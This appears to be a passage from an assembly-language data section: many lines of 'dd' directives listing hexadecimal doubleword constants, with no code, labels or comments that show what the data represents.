		dd 785565EFh, 0FADBA137h, 5430052Eh, 0A16639BEh, 4EF36368h
		dd 0C3BDBCB3h, 7EA20E9Dh, 3DE50525h, 81077393h,	0F0862AFBh
		dd 68591FCFh, 17BFDABh,	0BDAFE8C7h, 4CA42AF3h, 0FAD03E54h
		dd 122F1F72h, 16852229h, 61AC06D5h, 48D5D070h, 7F8C4A7Fh
		dd 0F782C905h, 499B1641h, 0A3823A3h, 1C8F77CEh,	0D2C81C92h
		dd 0BDFCEB1Eh, 0DEA930EBh, 5EA49B78h, 7877F042h, 30F1E8A0h
		dd 1A8BCE2Ch, 4CBD269Eh, 24FF0355h, 75296718h, 0B2940E2Dh
		dd 8F5E46A9h, 54DFB72Dh, 1CB10926h, 8C4B9AA6h, 0C569D255h
		dd 0C62DF9BAh, 0F7111216h, 8DBD379Ah, 8611177Ch, 0EA243252h
		dd 52F7634Dh, 0AB7ED00Bh, 7986FD1Bh, 0ABF5751Eh, 31C86093h
		dd 38C176E5h, 0DCF45BAEh, 19326945h, 0B18F615Bh, 57B48311h
		dd 7C1AE4BFh, 0AA1F0480h, 0F9729D99h, 12492C7Dh, 9A0C402Bh
		dd 55719471h, 0ACF167B7h, 56A63B37h, 244E626Fh,	0E8E70CAEh
		dd 6172AF5Ah, 9224EA83h, 83D50192h, 29E6AF16h, 0C6625D17h
		dd 9BD4DD56h, 19AB747Ah, 0AD59BDF9h, 0E1A9DDDEh, 325B1192h
		dd 8FA353CEh, 9A127D9Ch, 84C902F5h, 0A9BFAD92h,	844C569Dh
		dd 8440C059h, 98707843h, 2BD22C7Ch, 0A962FACDh,	0A5B83F52h
		dd 0A8AEA562h, 0FD3D05EDh, 28014070h, 50E3FEB3h, 0BC1DBDDDh
		dd 43DD90BDh, 49954016h, 0BEA6387Dh, 0DEDA3E7Dh, 4EBAA012h
		dd 0CA8BE60Bh, 72726DD0h, 458E1595h, 88045D08h,	7B6BC7DCh
		dd 75E766B6h, 0F1A5D1ADh, 0AE6776F7h, 5FA54A64h, 7715A664h
		dd 5AD2261Ah, 6F754891h, 0AF2A6744h, 0A913D857h, 1112E645h
		dd 2A0896A0h, 34DCAA0Fh, 6C53106Fh, 0C65CAD28h,	4783B048h
		dd 71AFB28Ch, 0E766FC80h, 0CF263FF3h, 8BA6EA88h, 3093F2C4h
		dd 0C1DA9FB0h, 63DDA53Bh, 0D5698B72h, 0F931E8F4h, 4DD39E74h
		dd 0A83E282h, 9260D76Ah, 0A9693699h, 4FBE0D58h,	6C138390h
		dd 4D43F63Bh, 0E11B8E93h, 0BC39F5FBh, 98E20452h, 0B977B521h
		dd 0B8A53583h, 6C2E4D88h, 0CCCD888Eh, 8D10CDA3h, 73205DE8h
		dd 7B018B2Bh, 131A2D6Bh, 2B610BE2h, 96BEDDFCh, 8BF7F051h
		dd 0F7E76868h, 1DD72A5Fh, 0E6174AD6h, 64AF7F04h, 0AD47FA7Bh
		dd 0C6E87D7Bh, 0D5A817DDh, 0CCB9143Bh, 557585B7h, 13B11BDh
		dd 99145C0Eh, 36F31E2Eh, 0B439E9D3h, 0E2943EECh, 2EB32BBCh
		dd 70898C2Bh, 0F98420F8h, 20602FCBh, 55023B6Ch,	17A223A8h
		dd 921D64B2h, 0F2DF48B0h, 57EC63A6h, 7616E5CAh,	0FC4B87ACh
		dd 0AA385C94h, 0C29DD531h, 18BCFA40h, 0A836485Dh, 202DBEFCh
		dd 1D55FD6Dh, 38E19BF0h, 787738DDh, 1B37BFD8h, 0B505E45h
		dd 8B925EAAh, 76EB879Dh, 0B1707077h, 0F1778967h, 4BDC74BCh
		dd 0C9BA0CF0h, 54AB3C8h, 8C747C7Eh, 0D665B19Bh,	0E116860Dh
		dd 8B832247h, 479E586Ah, 9170FBA8h, 86A19CD8h, 9DC3BCAh
		dd 57AC78D1h, 9EE9FFC8h, 0EDFEF29Ch, 7A20E69Fh,	61FED969h
		dd 39DDF9A1h, 0FBD9C661h, 0ED08C8F5h, 5ED09D12h, 707557E0h
		dd 3250DDD7h, 64C70BBEh, 834DF9C5h, 81746B42h, 66D95C67h
		dd 5CE355CAh, 0E092F949h, 0BB19282Bh, 74495842h, 7FD8028Fh
		dd 0D988D0EDh, 92D3F3E4h, 4C7C3F39h, 7300CF0Bh,	6B4D03A3h
		dd 1580C3EEh, 95CAF84h,	616F3DFFh, 71A85E2Eh, 38974787h
		dd 613FF547h, 4C02B4Ah,	10E941Eh, 0B7A0FF7Fh, 4EF21C0Eh
		dd 4F19EA89h, 52EB8863h, 0B348F27Fh, 0EB7D1530h, 35185E09h
		dd 0A8310FFDh, 72AEA16h, 11C3572Ch, 0AD81F0D5h,	0A7F49119h
		dd 37461A09h, 78FD470Bh, 1D0949DCh, 0DD4171D3h,	16476507h
		dd 34B267A2h, 0EC14975Fh, 3F58D7ADh, 0AC770911h, 0FED3139Ah
		dd 8FB1E19Eh, 1632DE65h, 87523ED0h, 0D8DE9A64h,	6D622A0Ah
		dd 1EFF3736h, 478CE1D8h, 52558578h, 3FCECFAEh, 0A6116FFDh
		dd 0F459A2B2h, 460CABD1h, 376F9602h, 6A1CFC11h,	875BD6C9h
		dd 0AC0CE403h, 0B1C2F8E8h, 0CB52EC04h, 4BE53C7Dh, 691A3147h
		dd 0B6B74E43h, 10115C86h, 0D0733E6Ch, 3FB9BD06h, 0C82F22A1h
		dd 0CE5D0960h, 3B91C803h, 0CFE56DD7h, 6BDC3C96h, 0A428FB8Ah
		dd 10CECCFCh, 43E17161h, 85EA717Bh, 279322Bh, 5C6AF836h
		dd 660DF160h, 8C8CCA3Bh, 83F6B4BCh, 0DEE55822h,	0D07C800Ah
		dd 0FB9FE5E0h, 0A7FF3674h, 0AA90E911h, 0F480ED75h, 8CA1C726h
		dd 2ABA5784h, 7E5533D8h, 0B29C96Dh, 7C9E7C6Fh, 6C6E98B4h
		dd 0FD1A264Ch, 463ED253h, 169AF1A5h, 9E571FA2h,	0D528A5A5h
		dd 931DAC83h, 0E135D709h, 0F68C31D0h, 496AACADh, 0EAA32DB2h
		dd 8B7A0F38h, 0A8A7ACDDh, 5FB05622h, 642A5A2Eh,	5DB3D887h
		dd 4480424Fh, 8E6C7BEDh, 0F6AFB1D9h, 6BEEFBCAh,	0CEDD6D1h
		dd 3DCDA00h, 67943959h,	0AFF832C4h, 0B5889D2Eh,	72EBC9D1h
		dd 7C6F1465h, 9076D366h, 34A44099h, 3015D44Eh, 0FD975A3Bh
		dd 9D4365A2h, 5106BB02h, 145EDE91h, 2C15CD8h, 5D823C4Eh
		dd 0D6049D6Ah, 99DF9A98h, 3D63E526h, 492B2700h,	26E5817h
		dd 0A163EC71h, 6451CC8Dh, 5D0863C3h, 0B4B4B3B1h, 2D3AE1F3h
		dd 363285AAh, 838D3937h, 64D06740h, 823E2500h, 0C7B26B86h
		dd 7C7A3BA6h, 0DBD4F1Ah, 0F89E2918h, 308FCB2Ah,	4D6526DAh
		dd 9C78DBA0h, 2CD5C016h, 97EB4A72h, 0B1389DA2h,	4E9FF295h
		dd 7B79E959h, 91385BBFh, 767593C2h, 1FB21786h, 0B3874E44h
		dd 3EEED951h, 0A8A7BCEFh, 4C16AEA8h, 0E3FE5625h, 8C188A1h
		dd 18F6AC10h, 81909567h, 4E6EDD64h, 345B5FB5h, 0EF76E1F3h
		dd 3E7927D1h, 97E65BF5h, 4B037405h, 0BFECC06Dh,	6F566195h
		dd 0CD701BDAh, 0E41C806Dh
		dd 5D9DC2D4h, 0CDD7856Eh, 0D1121310h, 0EC966F6Fh, 55CEB68h
		dd 0E33F8625h, 88E9936h, 0BA24C215h, 2C33970Ch,	0BB8E9370h
		dd 0DDAA19C3h, 97DB4C67h, 0D080F46Eh, 0C5E339FDh, 0A550CFB5h
		dd 77F2194Ah, 6A0026DDh, 80FA579Ah, 859FD262h, 1048AFF0h
		dd 78CCCA20h, 779467F9h, 351C65FDh, 461289FBh, 0B0280ADCh
		dd 1E95883Dh, 5727A09Bh, 8E4A5748h, 5BFF34E8h, 7E146ACFh
		dd 68B7CF6Eh, 0AA05932Dh, 49B17BDDh, 31EEB3D4h,	439299FAh
		dd 0E86C19D6h, 7DBE5D54h, 0BFAE5BA4h, 0F49A3B7Ch, 0FAC9E381h
		dd 859AFD8h, 0E503A713h, 0E27E1655h, 8EF3E614h,	924E8FB7h
		dd 0C4AF8D81h, 0CA880345h, 8EA0A0A5h, 86469CB2h, 8253BE0Fh
		dd 0BD835D5Ah, 63A12936h, 0D315AB64h, 0CC95652Ah, 5314EC97h
		dd 1424AA28h, 0ABD1D460h, 9B592F20h, 76E78E3Bh,	9D3D931h
		dd 890AF3CAh, 203A49CEh, 81404F99h, 0AAE4752Fh,	0C3E3CCB3h
		dd 0BFB55E95h, 0C7C30409h, 64D1DAAh, 6C9C6CD2h,	0E214CE7Fh
		dd 302FC73Ah, 44E4B278h, 0EF0858EEh, 2333E339h,	9AE12440h
		dd 40D8F26Ah, 2D8CD668h, 0C67C8422h, 0BC4B07E0h, 0B6D27E95h
		dd 0E26465A2h, 0A119CD72h, 0DB122124h, 0A594D00h, 17F51190h
		dd 0AC812C30h, 2A672B7Eh, 253493BCh, 828E37B9h,	33BE1CF4h
		dd 0E31E9A97h, 5919A0B7h, 9F6AA949h, 8A72475h, 6AB71D35h
		dd 0DA1BC29Ch, 0E71B8667h, 0EEF2352Ah, 0C5A5D284h, 1D2E0A3Bh
		dd 0BB78B63Eh, 3DFE2AA0h, 64B9DC8Bh, 0CDB162FDh, 0A46C46CDh
		dd 41C5D3F3h, 0D62F7E61h, 0F7705483h, 9E957EB9h, 0A38C74A6h
		dd 550B1EE1h, 225E1CA9h, 5FE807B2h, 51CE6912h, 42751151h
		dd 0BE048630h, 9355647Dh, 0CB21AFF9h, 75EA56A5h, 58BE0856h
		dd 0FB5908A1h, 66B663ECh, 0DD549BE1h, 0C7EB541Ah, 0CD3FA7A7h
		dd 0D4FFC300h, 0C640C03Fh, 0FD4CBB0Dh, 3A54D110h, 48A93D0h
		dd 0DBD1E5FDh, 4E158E09h, 9B7ED5F6h, 0F4C9116h,	0D6117ED7h
		dd 0BB8C0DC0h, 7AE8FF49h, 82BB71F0h, 0FEF545C2h, 0C87A6A65h
		dd 0B053A1F1h, 65E28ACAh, 5A8EA8Dh, 0D106941Eh,	4AA1F397h
		dd 0D109154h, 0E5D5940Dh, 7759AB43h, 0CB95C45Dh, 0A895118Ch
		dd 65E9A173h, 0F9176799h, 7B3D90ADh, 0AF270B29h, 2A66ADB7h
		dd 0AA0EB60Fh, 0C8F841F8h, 0D05570CFh, 8EA5142Ah, 0D19D13Ah
		dd 584F93B1h, 1355EDB6h, 37E04EAEh, 0ADFC36ACh,	2A3044D3h
		dd 0FE3B981Dh, 75144B77h, 25F3CCC5h, 93F793A9h,	3B4B0E55h
		dd 15AC9FF7h, 311DD42Eh, 40E8A3E3h, 48DD678Bh, 696FE65h
		dd 9E15D4F6h, 422F055Ah, 4DD3D013h, 2CD66B71h, 0B3EDD89Dh
		dd 466DE55Eh, 3B187ABCh, 86F66D1Dh, 0E1598670h,	0BD18709h
		dd 0F6C3DA63h, 5BD75056h, 34B37EAh, 0B789A6DFh,	2FB57808h
		dd 33840D1Fh, 0C5AAEA6Eh, 5706B210h, 594EFBFFh,	0F3924C7Bh
		dd 704178D8h, 0DEA1E6CFh, 3AAD3A7Fh, 9BEE9E9Bh,	4723C13Eh
		dd 2147E016h, 7939EC21h, 0E6AC8C41h, 0D2ED4961h, 0D9852B3Fh
		dd 0F0EF8D67h, 0D3EBFC62h, 7FDDB406h, 75845094h, 0B9FF5B8Bh
		dd 0E6A43397h, 0FDB5EE90h, 3085479Ch, 54C77E79h, 380581D6h
		dd 0EEE2DDF5h, 0E764A316h, 0F37AE743h, 0D4AAF2C0h, 0BCC00BD6h
		dd 0CB1AF770h, 659873EBh, 3771C4F4h, 1C4CEA5Fh,	0F24D7035h
		dd 2E82E900h, 95A1DE22h, 682C84F2h, 0E6A244A2h,	952AD074h
		dd 6A8773C9h, 0EEBE0DDAh, 0C9184186h, 1CB5E945h, 0E42BD4EDh
		dd 65817ED4h, 0F45F0DF2h, 9446CE3Ah, 60905721h,	46E48C24h
		dd 0C6051161h, 504DBB2Bh, 63F632C5h, 65C1BC53h,	42040545h
		dd 53B2E384h, 0D66A7FE7h, 56D0A480h, 97A924CAh,	5C7B525Ch
		dd 0B36C7002h, 0A991C0FDh, 5D3AA0Eh, 0F212BF69h, 9C13211h
		dd 630227EDh, 9213988Bh, 41651204h, 0A23DCB00h,	0A750A006h
		dd 14CB797h, 4519E7A0h,	659D6297h, 8AB2D505h, 0C5D67662h
		dd 1BE3414Fh, 56E83BCFh, 77B4ADB1h, 29D8EC22h, 0D621BAA5h
		dd 0EBBE560Dh, 0C8B47CECh, 0DD5BA879h, 0EDE5B9CBh, 0EEA2EEF6h
		dd 0B8806A2Ah, 37FB6E5h, 75FBB8B7h, 4D9FB820h, 0E90BCF50h
		dd 0F34B9CD3h, 69B48EA7h, 0F7615079h, 9B65EEA6h, 0D16BFAE9h
		dd 24A3308Eh, 0B6B48663h, 0E0877040h, 0E71700CAh, 0C7C5B0FAh
		dd 0EA7BFAA7h, 6E42F177h, 5BC8FD30h, 97845F38h,	243CA41h
		dd 0C3582150h, 35ACC3D7h, 0E4F57B90h, 95FA0A13h, 74B234B2h
		dd 1B83B42Dh, 26013E4Eh, 63D929D4h, 9DB90C45h, 892B6D72h
		dd 751436FAh, 2ED09E9Ah, 5678F341h, 0BD1D4FAh, 854C8BE9h
		dd 0B5280C7Fh, 5FF267B2h, 0E971E1A2h, 2EBF4FFBh, 2D849954h
		dd 28BF2AD0h, 6E5118ABh, 0C2BB4A9Dh, 742EBAC3h,	38777FDBh
		dd 3B9F44B3h, 0A593EF61h, 0CD32FD5Fh, 4D987F4Bh, 0D8012FD3h
		dd 68ACAD30h, 0B9436747h, 0CAE5B9ACh, 0AC88EE3Dh, 0C7150927h
		dd 4770B357h, 828A64C2h, 9DDF4E66h, 6381A026h, 0A2796DA3h
		dd 0D9DF74BEh, 5D5270A6h, 0ED5FC09Eh, 0C1D5CA51h, 0F41F2194h
		dd 0A96C75EDh, 41B5B3ADh, 0A24E46B0h, 4FDDBF83h, 0E9880290h
		dd 693DA7Ah, 0F96D8DDEh, 3494537Fh, 0F3C28667h,	0A6839463h
		dd 5074D336h, 9EBF246Bh, 3DA71DA6h, 0B0D4F429h,	0B5901251h
		dd 5B98E1ACh, 2D286163h, 6C20C573h, 18893DB0h, 7D344551h
		dd 0C0F48B8Ah, 0B8A1807Fh, 0A9F38C5Ch, 79941E4Fh, 8A381174h
		dd 1D0BB5Bh, 65E408ADh,	5B3B94EBh, 5BAEBF27h, 0FA56FCC9h
		dd 5E8DB7A0h, 50BB1D14h, 2917B16Ah, 888219D4h, 1F3A024Bh
		dd 3C63F23Bh, 0B1D58B72h, 221AD60Ch, 1E480983h,	7C7DC619h
		dd 82FCF122h, 47AB525h,	9BB4E6Eh, 0F97B1BAEh, 1A82D800h
		dd 1DA79919h, 0CCA79EB1h, 315DA43Eh, 0BC2AC274h, 0D09D14BAh
		dd 7852FDF3h, 0ED3D4DF2h, 8A04668Eh, 65AA3550h,	92688A14h
		dd 91620BFEh, 76C82D65h, 507F0E7Bh, 2DF64BF8h, 91D7F2Bh
		dd 7BFB3B71h, 513A6C50h, 4FE31144h, 62056EA8h, 59D5DACAh
		dd 2FB03C3Fh, 0A8092120h, 0FD4B6905h, 2AB8352Eh, 0D9940FD8h
		dd 0EAE73FB6h, 63CC05F0h, 9FFCAAC6h, 0BB6693E5h, 77204CDEh
		dd 577226FCh, 142291D2h, 0E0AF9A66h, 0A3B884B3h, 4B620257h
		dd 0CF9345EBh, 0B26E1BC4h, 6042CD10h, 1696B65h,	0F299FB26h
		dd 66586C5Fh, 0DC890946h, 3570AD10h, 0E409CDA4h, 0A09DFFA1h
		dd 2A3871D2h, 3F257FBDh, 0EC1EA117h, 98D39078h,	0C46AE4FBh
		dd 9FC9805Ch, 96DA8A3Bh, 0D9E76816h, 0AB673C99h, 1D3B2F13h
		dd 8A3D0C06h, 30C1F341h, 4EF7ED7Fh, 598ACFFEh, 24E593E2h
		dd 4FEEAAC0h, 6800EE90h, 0AFCE2FD0h, 0EC90ACAh,	826B930Fh
		dd 0ACEEEB1Bh, 43F7507Fh, 0F8AB887Bh, 6252CCE4h, 7920568h
		dd 9CFEA303h, 1A452BF2h, 2772B54Fh, 69E0720Eh, 92C60B54h
		dd 4D6F77EBh, 10E4B657h, 2B45C88Eh, 69808E4Fh, 0CAF92782h
		dd 28F4F5Ch, 0F01B9568h, 256FD74Fh, 0B0EC558Bh,	7509CD9Dh
		dd 0DAC7B242h, 367718A7h, 0A13CD16Ah, 32E2959h,	52B8C8E7h
		dd 0D4737FE2h, 2A5F80A0h, 0EAF8B8D2h, 0B4C51E91h, 9A60FD9h
		dd 360A3F78h, 3E5524FAh, 536D8A91h, 2A7AF4FAh, 4CB54BD9h
		dd 0F4F5BDAh, 0F4C9DB8Fh, 0E8955445h, 0D241EAAEh, 1F0DEAA6h
		dd 62B094BAh, 8E53A006h, 74ADE117h, 4EF14B14h, 0AA3A5456h
		dd 7CC3D48Bh, 926CBE82h, 4FA11ED7h, 0F179867Dh,	0AC08B6FBh
		dd 0F823D92Dh, 4738F135h, 0C3D34C4Bh, 7E5AA4F2h, 0BDF19FD0h
		dd 5AE3516Ah, 535B4513h, 0F5F7F341h, 1F074DD9h,	5834AB4h
		dd 0B8E126B1h, 1846F32Fh
		dd 465B4078h, 0D70F02C5h, 0F3B36575h, 27B8DB3Ch, 0C5B32B1Fh
		dd 1345E07Dh, 0A6646828h, 7C44D99h, 37AD94E5h, 0C83F899Ah
		dd 0CC4E5797h, 28E333B8h, 0EB132EA9h, 65B8390Ch, 0BF034818h
		dd 0F5E70EC5h, 686DADF8h, 0FA55D0D2h, 0E13C0CB9h, 5938D509h
		dd 5502BA15h, 18874156h, 96029E46h, 0B6DCB925h,	5E4D39B2h
		dd 295139D3h, 8E9F7CB3h, 0F41B7CF9h, 0E4A3EDCAh, 0FFE1C73Eh
		dd 0F4E41BE1h, 0E99B8FD4h, 4079BC52h, 936FBFC3h, 6BEC68D7h
		dd 521A1B71h, 0AC4B3E9Ah, 0A4754B3h, 8C228E5h, 0F073F5DBh
		dd 233D1139h, 7B9A17DBh, 0D66AC9EDh, 626D40ADh,	1D48A43Eh
		dd 7E4A70FCh, 0A84C35C5h, 0C7E65E6Dh, 8F4E0473h, 52313914h
		dd 43016E9Ch, 56D341EFh, 0FF2B2D87h, 9AEF373Bh,	0CE6A1C1Eh
		dd 59F3D53h, 0C9C65C5Dh, 61E09607h, 244ABA32h, 0D60AB175h
		dd 552CA1DFh, 0E5059BF8h, 9F71EDCCh, 26798F63h,	1769313Fh
		dd 5BE31C79h, 5FA5643Bh, 0BDFA006Ah, 8F6AF2D5h,	0A6CE8A63h
		dd 0B0BF0FEAh, 35778737h, 0F0AC8B6Fh, 4CA62842h, 6328BB26h
		dd 0C389B42h, 356B94D2h, 0AB5839ADh, 0C34802A4h, 467242CBh
		dd 31C407DCh, 0A7BC65ACh, 816997DAh, 14A9318Ah,	0F7CC3791h
		dd 60C41492h, 1E91CA1h,	5474F15Bh, 0C98D4F28h, 74587298h
		dd 0C62D098h, 858B3E9Ch, 42D72E2h, 0E0583B63h, 87863769h
		dd 3C2242B1h, 0AB9FCB52h, 7702298Fh, 0ED557942h, 573697C3h
		dd 373FE134h, 0E1F87409h, 0A4FB612Bh, 0C5C861CCh, 0D1D355E4h
		dd 67A8013Bh, 93DFF0FBh, 5EBD40A4h, 91F649h, 1A47789Bh
		dd 0F697A312h, 0E36E3DC5h, 8951E829h, 0F647E18Dh, 0B7AB3D8Fh
		dd 0F6B2FF48h, 78D636B3h, 0FCCDA49h, 60E73CE0h,	5C00979Eh
		dd 99C93AEAh, 0B8532712h, 0ADBD0741h, 0FF19F1C7h, 0C96BEE72h
		dd 2E130D48h, 90755C88h, 280C925Ch, 58CA984Ah, 99FE28DBh
		dd 0ED9BC13h, 0D32E1C5Fh, 0B0AA075h, 0E231826Fh, 0B3E61F3Ah
		dd 5729BC56h, 16992BF8h, 0B2C27B4Ah, 0CC5BBC83h, 8F0A25FDh
		dd 12237939h, 23F2C8C6h, 0E3B5C27Bh, 6A647DA5h,	0CF197E14h
		dd 0EEC9489Bh, 0F2BAC7B1h, 460CA935h, 0D9951ECBh, 347A3C51h
		dd 0E3966670h, 414E796h, 76E3522Fh, 9A761454h, 0FCE4F7BBh
		dd 48A428BAh, 3915D332h, 0A5BD4801h, 9C5A39BDh,	9E2629BAh
		dd 3E1A16ECh, 67D76089h, 84EE5654h, 0D9C6622Dh,	0D319165Eh
		dd 6DEC4DDEh, 0BDAEF0h,	5F8DD1CDh, 0DEE35D7Eh, 4A6F99FCh
		dd 1B75B71Ch, 80F6B0F7h, 0EA5ADE0h, 2A93577h, 0E07DC54Ch
		dd 85EA07C0h, 0C1FF6BDFh, 8A306831h, 667071B0h,	0E2D12796h
		dd 0AB8C4468h, 182A1C92h, 5820E676h, 930F0F4Ah,	0F003F580h
		dd 0F05D4FC8h, 7A28B4ACh, 32CF7B54h, 789D3870h,	20ACCC84h
		dd 799EC303h, 0D0023B2Dh, 0A529FEFBh, 0E89B25A2h, 0FDA9A4EFh
		dd 0B7B97876h, 37AAF0DFh, 419AC35Bh, 495DD66Ch,	0D96D2ECCh
		dd 762D1F62h, 9606B2E4h, 27487BC2h, 0AEDB96CEh,	63E824D2h
		dd 0D0B3C7BCh, 682D94D8h, 0EC93984Bh, 15D4A436h, 1FFBF640h
		dd 7D7425B2h, 0E9BE4ECFh, 0FCCD0745h, 0EB5AD5E3h, 0F8E5A746h
		dd 6B2784C6h, 8DAAC69Eh, 615C0612h, 1BC08AF3h, 751C1018h
		dd 444A69A0h, 9EA1FA21h, 87DCD415h, 0BDC3399Ah,	0FE4DE0D1h
		dd 90D4D0E9h, 1ED52741h, 0C5627343h, 6E243044h,	0ADE31A8h
		dd 5DFE742Fh, 0B3F9F782h, 0C1048570h, 0AC5E92A7h, 0D965EEA8h
		dd 9F8B9383h, 0EF542A98h, 0B4064840h, 0A7B43FEFh, 2BCC7C3Ah
		dd 0B62C8303h, 540CEA5Eh, 87BBCBB8h, 0C712562h,	3DF20333h
		dd 3206B8A9h, 0D0D90E9Dh, 68723D9Eh, 8B17793Ah,	15226374h
		dd 0D055E2A2h, 0ACD6258Eh, 75A6F48Fh, 50E8F26Ah, 0C750F224h
		dd 0A3F4729Ch, 81018A79h, 9A7596B8h, 344E0A76h,	6FA0010Ch
		dd 5A03645h, 7DDC2A9Dh,	0C723961Fh, 570D69F6h, 1EFE4F9Eh
		dd 3B26532Ah, 0BEBEC855h, 0A921A9BCh, 0AF96240h, 0F2EC04FBh
		dd 7057A622h, 0B1D7782Ah, 7EFF1CD7h, 624FEB50h,	2381A01Dh
		dd 6EFCF4D4h, 89FC9241h, 97CC5317h, 9A2245CCh, 688E354Fh
		dd 0A473E480h, 6B72ABF7h, 6ADD2EECh, 34784C0Ah,	59B5F596h
		dd 0EC30A0E2h, 4AB6E8D1h, 2EFFC976h, 485C0F4h, 7C7E8D3Ah
		dd 89016D46h, 0DD09B045h, 855BADD9h, 0BE68EEA8h, 86BB0B71h
		dd 0F7972ABFh, 26E38B14h, 5A954DC7h, 65735226h,	0C3E3981Ch
		dd 51CB7D2Dh, 6D60CBA7h, 9620118Ch, 0A1167ECAh,	0E49B1538h
		dd 50E161B0h, 83D051F1h, 0D7ACC1CFh, 3A898748h,	0BD173E47h
		dd 0B1DC7A8Eh, 5357318Ch, 787E6612h, 0D3C68515h, 8E74E996h
		dd 509E3959h, 0E705FD8h, 0A6824AFEh, 0C2C5E22Ah, 0EE724249h
		dd 1A5E2A71h, 8A2CB6DDh, 0E66C2D3Ch, 15003C60h,	50511677h
		dd 27F14F0h, 3BD1E996h,	0E2D5C049h, 0B48909EDh,	43CD90DFh
		dd 0A92F6CFFh, 9299856Fh, 0FD3D8E2Bh, 0CDF4B8CEh, 44B3C710h
		dd 0DA65EEF2h, 1DCF6F1h, 5925BA49h, 0B32EBBA7h,	4BFF03B8h
		dd 1F314C6h, 80CB583Eh,	0B883581h, 0C66405A9h, 6BC79533h
		dd 71B03FB5h, 8BD89505h, 0D1E4677h, 13574EFEh, 56FE1D07h
		dd 0ECC7D57Eh, 7DAF9D6Dh, 4DEF915Eh, 3F788F0Eh,	7F129023h
		dd 747196DBh, 84CD3E71h, 38699DB4h, 8080E28Bh, 0FEC9045Ah
		dd 59530D08h, 0E2270840h, 0CF18FC72h, 84A0031Dh, 9F15699Dh
		dd 1E1937A5h, 3AD48F1Bh, 45D3F90h, 62E89E8Ch, 0D9ED5C19h
		dd 6D448DD7h, 70D0D6A8h, 0DDF512CBh, 5D0FE98Ah,	10FAC41Ch
		dd 0DB1B2A39h, 430DB98Ah, 61913612h, 77FF9E87h,	32B53950h
		dd 0CA9A6089h, 0EA68DDBDh, 7CDFE302h, 21F3B76h,	4FB7C9E5h
		dd 0EE4FB6CCh, 0F6F78195h, 0DB5DF70Bh, 0D046BDA8h, 101F8D95h
		dd 902E5819h, 449A6998h, 2C236C65h, 317F9E63h, 0B9AD0476h
		dd 0B2600C1Ch, 0FFE5ECAAh, 0EB3201AAh, 6E5349FCh, 0C33052C8h
		dd 8F0BEBB7h, 8296710Eh, 0DE51A319h, 0A1B3E18h,	66C640D2h
		dd 0D39BF7B4h, 0E7C62D5Dh, 551D3201h, 24E2CD03h, 0EAEB635Dh
		dd 1F1232FBh, 759C5AC3h, 0F7E2CB55h, 0ADCE8569h, 8B4A2D8Ch
		dd 73F21E37h, 29F81E10h, 9BEB4212h, 985F5719h, 18BA49FDh
		dd 0E59C0A78h, 77B9C0E8h, 0A2EC0028h, 0A58C3C22h, 974EF4E4h
		dd 425E4641h, 5CAFD7h, 0DF2300Ch, 0C71A7E3Fh, 6EE7BEDh
		dd 0D49304BEh, 0E72DEBF4h, 1B13313Fh, 0AA0AB93Bh, 0B71807C0h
		dd 5FBE474Dh, 0C1DA493Dh, 49D59181h, 6C0B292Ah,	5B460B0Fh
		dd 7E7093E5h, 53EF71D6h, 0DD8D8B4Fh, 8776BD58h,	13D375D8h
		dd 0A7185B59h, 0FC2361BAh, 0B4DBE83Ah, 26EF82FAh, 0ED217F87h
		dd 6F4EB93h, 0D11E3CE4h, 2A7ED56Fh, 0E8853BB7h,	2C25AF14h
		dd 6C5477CEh, 6D8AEA92h, 0F78A78ACh, 3F8C315Dh,	2CC0E215h
		dd 0F51F6108h, 85D48501h, 0A5A3FD44h, 88A128EEh, 0F9C6D082h
		dd 582492F0h, 22AC9985h, 0FFCF778Ch, 5873D458h,	0F2CEF5E4h
		dd 85211210h, 4C89E045h, 0F4BD0CF1h, 4C2C7808h,	0F4B6C042h
		dd 0BC07F016h, 4ED97ECFh, 0D96BC97Ch, 370BC56Ch, 35B8E9C4h
		dd 9C312514h, 9A310464h, 240EA55Fh, 0BB303C38h,	2007DA0Ch
		dd 0C58A929Ch, 2F4E0F2Fh, 55A17462h, 0CA465FB4h, 0AB088A3h
		dd 0D78BB2EFh, 3AE26143h, 8A576880h, 3DAE0F60h,	435EDF69h
		dd 0D6675A69h, 0CC319566h, 0C7FD783Dh, 0E4041EEFh, 49B1B4h
		dd 835377ACh, 6318C2CAh, 0BDF05449h, 0F84D1CEBh, 0A46B00DCh
		dd 0BB6AE0DDh, 13804437h, 632024EBh, 0F6FC4075h, 7767969Ch
		dd 2588948Ah, 0DE2E2824h
		dd 0EF40C245h, 43107B5Bh, 5E6276A3h, 46B39B4h, 6A8FF4CFh
		dd 0C953EDCFh, 0C4E64543h, 0F401AF39h, 3231E92Eh, 0AE37B059h
		dd 289AF9Bh, 6EA945B5h,	5C21DFD4h, 81DF0AC1h, 0B34639C2h
		dd 0F40C60BDh, 0C8256762h, 1B3551C8h, 193D1BC5h, 79F699FDh
		dd 0D571AC12h, 4097062Eh, 0ED5752DEh, 7DC8E0CFh, 0D40AA101h
		dd 0FDC2B86Fh, 6A44977Ah, 0D7D8C410h, 734367FEh, 53F248ADh
		dd 7A9191ACh, 6A5C53AEh, 35FF1CFh, 687CE369h, 9C4C9B9Bh
		dd 4F7AB9BFh, 35A7C26Dh, 7C0B945Ch, 828B7A89h, 35709047h
		dd 8EEDE092h, 69329FA8h, 0E0129B14h, 576DBA5Ah,	0F6CE27D5h
		dd 0F400EAC9h, 0C5AF70F2h, 5FA28864h, 6D5C2483h, 4FE4B756h
		dd 5E48445Ah, 0C7FAFA85h, 4985B567h, 0A28B88C9h, 1C8BCE04h
		dd 4A662578h, 9ADFCD40h, 0F1B873A0h, 0D08DAA4Fh, 903EC43h
		dd 8FCF49EEh, 9ED3FDA4h, 41846B6Bh, 0A1DD6C73h,	0C5019869h
		dd 1B13A727h, 27DA26B1h, 6896B01h, 0E19593A1h, 0EF181C82h
		dd 67D49C09h, 3FA73D73h, 15AFF98Fh, 6966E701h, 0BAA68755h
		dd 47E26FB9h, 0F093F89h, 2E1BF5Ch, 8B95498Fh, 94F7A1Dh
		dd 0FBC5FC68h, 6EA2DE7Ch, 0FA17061Ch, 24285C9Eh, 6CE5B0C1h
		dd 0C0751CCBh, 0A16C8D7Eh, 0B0292E50h, 0EB09E752h, 344C78B3h
		dd 8C131A0Bh, 6266116Bh, 0D74B73B5h, 3BB53CCAh,	0D9DC4DAAh
		dd 0BE9B68B4h, 4EF4911Eh, 0E10734F1h, 21FCB293h, 161A54E1h
		dd 74F756F5h, 42D14559h, 0A41A57E4h, 0B0F976ACh, 91A2F60Dh
